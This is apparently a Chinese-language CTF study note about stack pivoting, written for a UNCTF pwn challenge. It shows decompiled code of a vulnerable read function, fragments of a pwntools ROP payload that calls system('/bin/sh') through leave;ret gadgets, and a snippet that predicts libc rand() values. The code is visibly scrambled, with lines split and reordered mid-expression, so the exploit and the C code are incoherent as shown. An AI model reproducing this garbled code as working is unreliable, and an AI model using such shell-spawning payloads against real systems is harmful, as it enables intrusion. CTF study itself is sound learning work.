栈迁移的学习
unctf的一道题
`ssize_t back()`
`{`32]; // [rsp+0h] [rbp-20h] BYREF`
`char buf["gift:%p\n", buf);`
`printf(0, buf, 0x30uLL);`
`return read( `}`
能运行到后门函数 后门函数给了一块栈中的空间和开始的地址,开了NX
一. 调试wt.exe 和 学习GDB的调试功能
二.学习了栈迁移的原理
+ (ROP)
`r.send(p64(pop_rdi_addr) +24) +`
p64(gift_addr+`
`p64(system_addr) '/bin/sh\x00'.ljust(8, b'\x00') + /bin/sh
`b-8) + (栈迁移的地址-8) rbp`
p64(gift_addr+8 -> leave_ret retn_addr` `p64(leave_ret_addr)) rbp






三.学到了srand()与rand()
= cdll.LoadLibrary('libc.so.6')`
`elf = process("./pwn")`
`r 66)`
`elf.srand('input a num:\n',str(elf.rand()))` `r.sendlineafter(b
理解库、库函数、ELF